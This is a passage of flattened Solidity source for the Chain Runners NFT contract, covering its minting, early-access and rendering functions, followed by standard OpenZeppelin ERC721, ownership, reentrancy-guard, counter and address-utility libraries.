+ 1; for (uint256 i = 0; i < _count; i++) { _reservedTokenIds.increment(); mint(MAX_PUBLIC_RUNNERS + _reservedTokenIds.current()); } founderMintCountsRemaining[msg.sender] -= _count; return (firstMintedId, _count); } function mint(uint256 tokenId) internal { ChainRunnersTypes.ChainRunner memory runner; runner.dna = uint256(keccak256(abi.encodePacked( tokenId, msg.sender, block.difficulty, block.timestamp ))); _safeMint(msg.sender, tokenId); runners[tokenId] = runner; } function getRemainingEarlyAccessMints(address _addr) public view returns (uint256) { if (!isOnEarlyAccessList[_addr]) { return 0; } return MAX_PER_EARLY_ACCESS_ADDRESS - earlyAccessMintedCounts[_addr]; } function getRemainingFounderMints(address _addr) public view returns (uint256) { return founderMintCountsRemaining[_addr]; } function isPublicSaleOpen() public view returns (bool) { return block.timestamp >= publicSaleStartTimestamp && publicSaleStartTimestamp != 0; } function isEarlyAccessOpen() public view returns (bool) { return !isPublicSaleOpen() && block.timestamp >= earlyAccessStartTimestamp && earlyAccessStartTimestamp != 0; } function addToEarlyAccessList(address[] memory toEarlyAccessList) external onlyOwner { for (uint256 i = 0; i < toEarlyAccessList.length; i++) { isOnEarlyAccessList[toEarlyAccessList[i]] = true; } } function removeFromEarlyAccessList(address[] memory toRemove) external onlyOwner { for (uint256 i = 0; i < toRemove.length; i++) { isOnEarlyAccessList[toRemove[i]] = false; } } function setPublicSaleTimestamp(uint256 timestamp) external onlyOwner { publicSaleStartTimestamp = timestamp; } function setEarlyAccessTimestamp(uint256 timestamp) external onlyOwner { earlyAccessStartTimestamp = timestamp; } function checkHash(string memory seed) public view returns (uint256) { return uint256(keccak256(abi.encodePacked(seed))); } function configureRunnerZero(uint256 _runnerZeroHash, uint256 _runnerZeroDNA) external onlyOwner { require(runnerZeroHash == 0, "Runner Zero has already been configured"); runnerZeroHash = _runnerZeroHash; runnerZeroDNA = _runnerZeroDNA; } function mintRunnerZero(string memory seed) external { require(runnerZeroHash != 0, "Runner Zero has not been configured"); require(!_exists(0), "Runner Zero has already been minted"); require(checkHash(seed) == runnerZeroHash, "Incorrect seed"); ChainRunnersTypes.ChainRunner memory runner; runner.dna = runnerZeroDNA; _safeMint(msg.sender, 0); runners[0] = runner; } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { require(_exists(_tokenId), "ERC721Metadata: URI query for nonexistent token"); if (renderingContractAddress == address(0)) { return ''; } IChainRunnersRenderer renderer = IChainRunnersRenderer(renderingContractAddress); return renderer.tokenURI(_tokenId, runners[_tokenId]); } function tokenURIForSeed(uint256 _tokenId, uint256 seed) public view virtual returns (string memory) { require(_exists(_tokenId), "ERC721Metadata: URI query for nonexistent token"); if (renderingContractAddress == address(0)) { return ''; } ChainRunnersTypes.ChainRunner memory runner; runner.dna = seed; IChainRunnersRenderer renderer = IChainRunnersRenderer(renderingContractAddress); return renderer.tokenURI(_tokenId, runner); } function getDna(uint256 _tokenId) public view returns (uint256) { return runners[_tokenId].dna; } receive() external payable {} function withdraw() public onlyOwner { (bool success,) = msg.sender.call{value : address(this).balance}(''); require(success, "Withdrawal failed"); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.4; interface ChainRunnersTypes { struct ChainRunner { uint256 dna; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.4; import "../core/ChainRunnersTypes.sol"; interface IChainRunnersRenderer { function tokenURI(uint256 tokenId, ChainRunnersTypes.ChainRunner memory runnerData) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ 